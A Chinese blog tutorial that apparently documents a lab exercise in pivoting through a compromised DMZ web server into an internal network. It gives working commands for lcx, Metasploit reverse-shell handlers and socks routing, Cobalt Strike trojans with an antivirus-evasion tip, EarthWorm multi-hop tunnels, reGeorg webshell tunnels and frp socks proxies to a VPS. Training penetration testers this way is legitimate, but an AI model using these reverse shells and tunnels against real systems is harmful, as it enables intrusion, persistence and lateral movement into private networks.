0x00前言

在拿到一台服务器的shell的时候,如果想要更进一步渗透测试,则需要进行内网渗透


而在内网渗透的流量转发是一个道理,是在拿到shell的服务器上使用工具让它变成代理的服务器端,之后在本机使用客户端工具进行连接

0x01流量转发工具

需要放在拿到shell的服务器的服务器端可使用
1.lcx
2.msf
3.cobalt Strike
4.earthworm
5.reGeorg
本地的客户端可以使用

windows

1.proxifier
2.SocksCap64

linux

1.proxychains

0x02 本次测试的环境

本次环境是公司搭的一个一层内网学习环境,本篇文章只总结流量转发的方法,因此大致介绍下简化的拓扑结构

攻击机:

ip:10.86.0.87 win10(该ip能访问到最外层的DMZ区web服务器)

ip: xx.xx.xx.xx kali (虚拟机,与主机win10 进行NAT连接)

被攻击机:

ip: 172.16.3.145192.168.93.143 web服务器(双网卡,192为内网ip)

ip: 192.168.93.138 内网服务器,上面80有个IIS服务(能访问到该web,则说明代理成功)

明确个概念

ingress流量转发到外部 whmcs流量转发_端口映射

那么DMZ区服务器弹shell到kali虚拟机要通过本机做端口映射,kali要访问内网web服务器则代理需要设置成本机的端口

0x03 lcx转发

本工具只是端口流量转发,并不具备完整的proxy代理功能

举个例子服务器只能本地连3389,因此攻击机连不了,但是可以通过该工具将3389转发到攻击机的端口上,就能连接了

拿到shell后,上传lcx.exe文件

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_02

将自身端口流量转发到攻击机端口上

使用方法

本机

接收2333端口来的流量,并在自己的2334端口打开

lcx.exe –listen 2333 2334

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_03

ingress流量转发到外部 whmcs流量转发_端口映射_04

目标服务器

将自己的3389的流量转发到10.86.0.87攻击机的2333端口上

lcx.exe -slave 10.86.0.87 2333 127.0.0.1 3389

ingress流量转发到外部 whmcs流量转发_内网_05

rdp连接自己的2334端口

ingress流量转发到外部 whmcs流量转发_端口映射_06

本身流量转发

这玩意儿还能在自己的上进行端口转发,比如把3389端口流量转到自己的2333端口

lcx.exe -tran 2333 127.0.0.1 3389

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_07

0x04 msf

msf它本身有流量转发的模块,因为本次的msf是在kali虚拟机里面的,又因为DMZ区服务器是没法访问到kali的,意味着反弹shell是没法直接实现的

在使用msf转发前,使用frp将kali的监听端口映射到本机上

在本机中使用frps服务器端

frps.ini的配置如下,确定绑定的端口,token的值,转发的端口,即可

ingress流量转发到外部 whmcs流量转发_端口映射_08

启动

.\frps.exe -c .\frps2.ini

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_09

在kali中使用frpc客户端

frpc.ini的配置如下,[common]是协议连接的目标,和token凭证,[appName1]~[appName3]是将10.86.0.87的10001端口映射到自己的10001端口

ingress流量转发到外部 whmcs流量转发_端口映射_10

启动方式,利用nohup和 &,挂后台运行

nohup ./frpc -c frpc2.ini &

ingress流量转发到外部 whmcs流量转发_服务器_11

回过头来看windows本机,已经有信息了

ingress流量转发到外部 whmcs流量转发_端口映射_12

可以使用nc尝试下,是否映射了

ingress流量转发到外部 whmcs流量转发_内网_13

访问下windows的10001端口

ingress流量转发到外部 whmcs流量转发_内网_14

再看kali里面收到了http请求头

ingress流量转发到外部 whmcs流量转发_服务器_15

将shell反弹到msf上

先在msf中进行监听php的msf的shell

use exploit/multi/handler 
set payload php/meterpreter/reverse_tcp
set LPORT 10001
set LHOST 10.86.0.87
run

ingress流量转发到外部 whmcs流量转发_端口映射_16

现在DMZ服务器能间接通过的端口映射访问到kali的端口了,在冰蝎中可以使用设置好的反弹msf的payload

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_17

点击给我连,就弹回来啦

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_18

使用msf设置代理

拿到msf的shell了后,就是上代理了,这里因为我之前已经扫过网段了,可以确定内网是192.168.93.0/24网段

因此添加路由

meterpreter> run autoroute -s 192.168.93.0/24

可以查看

meterpreter> run autoroute -p

ingress流量转发到外部 whmcs流量转发_内网_19

接下来将该shell挂起到后台

meterpreter> background

并且使用sock4a模块进行转发

use auxiliary/server/socks4a #socks4a socks5都可以
set srvhost 127.0.0.1
set srvport 1084
run

ingress流量转发到外部 whmcs流量转发_服务器_20

kali中直接firefox访问下192.168.93.80的web,页面是加载不出来的

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_21

接下来使用proxychains来代理访问内网的web

设置一下

vim /etc/proxychains.conf

ingress流量转发到外部 whmcs流量转发_服务器_22

proxychains curl http://192.168.93.138

即可访问成功

ingress流量转发到外部 whmcs流量转发_内网_23

0x05 Cobalt Strike代理

这个就很好用了,强烈推荐,因为我是在windows上起的cs的服务器,因此反向代理就是本机不需要端口映射,操作也非常简单(就这玩意儿老断开连接,可能我电脑的问题

先创建个listener

ingress流量转发到外部 whmcs流量转发_内网_24

生成一个exe的木马,当然有杀软的话可以使用powershell或者编程语言运行代码直接反弹

ingress流量转发到外部 whmcs流量转发_内网_25

丢到服务器上运行

ingress流量转发到外部 whmcs流量转发_服务器_26

OK弹回来了

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_27

因为这里是代理使用的总结,就不深入总结cs的利用,直接使用代理模块

这里cs有2个代理方式,一个是浏览器代理,一个是sock代理

首先看浏览器代理

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_28

ingress流量转发到外部 whmcs流量转发_服务器_29

接下来,就可以使用我本机的浏览器,挂代理访问了,挂代理方式和burp一样,这里使用的是本机的4001端口

ingress流量转发到外部 whmcs流量转发_端口映射_30

设置方式很简单

ingress流量转发到外部 whmcs流量转发_服务器_31

访问下试试

ingress流量转发到外部 whmcs流量转发_端口映射_32

在kali虚拟机中同理,也可以使用这样的方式访问web了

ingress流量转发到外部 whmcs流量转发_端口映射_33

但是proxychains是不行的,接下来可以使用cs的另一个代理socks

ingress流量转发到外部 whmcs流量转发_端口映射_34

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_35

接下里配置proxychains

ingress流量转发到外部 whmcs流量转发_端口映射_36

成功代理

ingress流量转发到外部 whmcs流量转发_内网_37

0x06 使用earthworm

ew是一个很厉害的软件,但是因为很厉害所以作者已经关闭下载了....

他有各种系统的可执行文件

ingress流量转发到外部 whmcs流量转发_内网_38

ew具有lcx的转发功能,还能执行socks代理

正向代理和反向代理的区别很多文章都有提到,从表面上看正向代理的代理端口和ip是在被攻击的服务器上,反向代理的端口和ip是自己的本机

正向代理

将对应系统的可执行文件上传上去

只需要在服务器执行

ew_for_Win.exe -s ssocksd -l 2336

ingress流量转发到外部 whmcs流量转发_端口映射_39

配置好proxychains,代理为172.16.3.145:2336端口,能够访问内网了

ingress流量转发到外部 whmcs流量转发_内网_40

反向代理

在本地使用ew进行端口监听,意思是将本地从4399接收到的流量转发到2337端口上

.\ew_for_Win.exe -s rcsocks -l 2337 -e 4399

ingress流量转发到外部 whmcs流量转发_内网_41

在跳板的服务器上执行,将自己的代理服务转到远程10.86.0.87服务器上的4399端口

ew_for_Win.exe -s rssocks -d 10.86.0.87 -e 4399

ingress流量转发到外部 whmcs流量转发_内网_42

尝试下

ingress流量转发到外部 whmcs流量转发_内网_43

ew具有lcx的功能

在最上面介绍lcx的时候提到了lcx具有将远程的端口映射到本地,和将本地的端口A流量转移到端口B的功能

ew同样有lcx的功能,使用方法如下,这里还是拿3389为例

将远程端口映射到本地

在本机起监听,监听自己的4399和2338端口,将4399端口收到的数据转出到2338端口接收

.\ew_for_Win.exe -s lcx_listen -l 2338 -e 4399

在远程的服务器上执行

ew_for_Win.exe -s lcx_slave -d 10.86.0.87 -e 4399 -f 127.0.0.1 -g 3389

ingress流量转发到外部 whmcs流量转发_内网_44

将本机的端口A转发到端口B

ew_for_Win.exe -s lcx_tran -l 4002 -f 127.0.0.1 -g 3389

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_45

多级代理

ew移植lcx的功能不仅仅是为了集合功能,更重要的是可以凭借该功能达到多层代理,这里没有实际的环境,举个例子

攻击机A ,边间服务器B,内网1层的服务器C,内网2层的服务器D

首先拿到B,挂好代理,只能看到C,但不能看到D,这时候就要借助EW的转发功能实现多层内网渗透


攻击机A,使用反向代理

将接到的3001端口的流量,开到自己的2001端口上,最终是挂本地2001端口,实现代理的

.\ew_for_Win.exe -s rcsocks -l 2001 -e 3001

边界服务器B,使用流量转发和流量监听

流量转发,将本地4001端口流量转移到A的3001端口上

.\ew_for_Win.exe -s lcx_slave -d A的ip -e 3001 -f 127.0.0.1 -g 4001

流量监听,将接受到的5001端口的流量转到自己的4001上

.\ew_for_Win.exe -s lcx_listen -l 4001 -e 5001

内网1层的服务器C

反向代理,将自己的5001的socks代理传给B的5001端口

.\ew_for_Win.exe -s rssocks -d B的ip -e 5001

综上所述,访问到D的流量如下

D -> C -> B:5001 -> B:4001 -> A:3001 -> A:2001

挂A:2001的代理,即可访问到D

0x07 reGeorg

reGeorg使用起来也很方便,他和以上的几种工具想比,它不需要在目标上运行程序,只需要把对应的web的脚本上传上去能够访问即可

ingress流量转发到外部 whmcs流量转发_内网_46

reGeorg的文件主要是以web的后台语言为代理脚本,因此要使用reGeorg的先决条件是需目标具有web服务

这里的例子是PHP,先上传tunnel.php函数报错了,之后我上传了tunnel.nosocket.php,则正常工作了

ingress流量转发到外部 whmcs流量转发_内网_47

tunnel.nosocket.php能正常打开

ingress流量转发到外部 whmcs流量转发_服务器_48

接下来在本地,使用python运行它的py脚本,如果不加-l参数则默认是127.0.0.1的地址开启的代理,这时kali就没法使用10.86.0.87,ip来设置代理了

python .\reGeorgSocksProxy.py -l 10.86.0.87 -p 5432 -u http://172.16.3.145/tunnel.nosocket.php

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_49

自己的5432端口即为代理端口

ingress流量转发到外部 whmcs流量转发_ingress流量转发到外部_50

0x08 frp

在博客搬家的时候,又另外学到一招使用frp进行内网代理的,十分稳定好用,最主要的是frp是正常软件,杀软一般不会杀
理清思路,跳板机是frpc,我们的vps是frps,将跳板机的流量转到vps的一个端口上,代理走vps的转发端口即可完成内网代理

在跳板机上的frpc.ini内容如下,将tcp的流量使用socks5,压缩一下转到远程端口的8881上

[common]
server_addr = mi0.xyz
server_port = 7000
token = xxxxxx

[socks_proxy]
type = tcp
remote_port = 8881
plugin = socks5
use_compression = true

在vps服务器上的frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = xxxxx

之后先在vps上启动frps.ini

nohup ./frps -c frps.ini &

在跳板机上启动frpc.ini

#linux
nohup ./frpc -c frpc.ini &
#windows
./frpc.exe -c frpc.ini

0x09代理客户端

在最前面讲到有3个代理的客户端,其中proxychains是linux下的,也是上面各种工具使用时候,使用的代理方式验证,proxifierSocksCap64均是windows下的工具,有图形化的界面,免费的。proxifier随便找个激活码即可

proxychains

安装,kali自带的

apt-get install proxychains

直接修改/etc/proxychains.conf文件

在最下面的[ProxyList]中以以下格式设置代理

socks4 ip port
或者
socks5 ip port

ingress流量转发到外部 whmcs流量转发_端口映射_51

使用方法也很简单,这样msf就能本身挂代理了

proxychains msfconsole

但是proxychains有些命令不支持,比如ping

proxifier

该工具是windows下的,配置有2个注意点即可

1.配置代理的ip和端口

2.配置走代理的exe程序

以刚刚的reGeorg代理为例

ingress流量转发到外部 whmcs流量转发_服务器_52

配置好了代理的服务器,接下来配置哪些服务走该代理

ingress流量转发到外部 whmcs流量转发_内网_53

Direct是直连,即不走代理的意思, proxy SOCKS5 即是刚刚设置的代理,当前设置是firefox走代理,chrome.exe不走代理

这个规则表和配置交换机的ACL协议一样,从上往下读协议的

如果要burp抓包,则使用Any,Any,Any,即全部应用都走代理即可

SocksCap64

proxifier很相似,先设置代理

ingress流量转发到外部 whmcs流量转发_端口映射_54

接下来右键下面的应用,选择在代理隧道中运行即可,该应用也可以添加

这里在代理隧道中运行chrome,即可访问内网的web服务

ingress流量转发到外部 whmcs流量转发_端口映射_55

0x09 结语

挂代理思路清楚了是比较简单的事情,渗透测试和CTF稍微不同的地方在于,CTF注重原理,深入到代码的写法问题,而渗透测试则注重工具的使用。lcx和ew很容易被杀软杀掉,但是在比较low或者比赛或者学习的环境中或者关掉杀软的情况下还是比较好使的@_@